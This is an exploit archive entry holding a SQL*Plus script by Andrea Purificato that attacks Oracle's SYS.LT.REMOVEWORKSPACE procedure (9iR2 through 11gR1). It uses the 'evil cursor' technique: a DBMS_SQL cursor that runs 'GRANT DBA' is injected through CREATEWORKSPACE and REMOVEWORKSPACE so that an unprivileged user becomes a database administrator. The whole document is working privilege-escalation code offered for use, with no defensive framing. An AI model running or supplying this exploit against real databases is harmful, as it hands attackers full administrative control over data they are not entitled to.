Oracle - SYS.LT.REMOVEWORKSPACE Evil Cursor

Author: Andrea Purificato
type: local
platform: multiple
port: 
date_added: 2009-11-30 
date_updated:  
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

--
-- sys-lt-removeworkspaceV2.sql
--
--
-- Oracle SYS.LT.REMOVEWORKSPACE exploit (9iR2/10gR1,10gR2,11gR1)
-- Evil cursor technique
--
-- Grant dba permission to unprivileged user
--
--
-- REF: http://www.google.it/search?q=SYS.LT.REMOVEWORKSPACE
--
-- AUTHOR: Andrea "bunker" Purificato
-- http://rawlab.mindcreations.com
--
--
set serveroutput on;
prompt [+] sys-lt-removeworkspaceV2.sql exploit
prompt [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com
prompt [+] 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2
prompt
undefine the_user;
accept the_user char prompt 'Target username (default TEST): ' default 'TEST';
prompt
prompt [-] Creating evil cursor...

DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction;begin execute immediate ''GRANT DBA TO &the_user'';commit;end;',0);
SYS.LT.CREATEWORKSPACE('x''||dbms_sql.execute('||MYC||')||''--');
SYS.LT.REMOVEWORKSPACE('x''||dbms_sql.execute('||MYC||')||''--');
END;
/

prompt [-] YOU GOT THE POWAH!!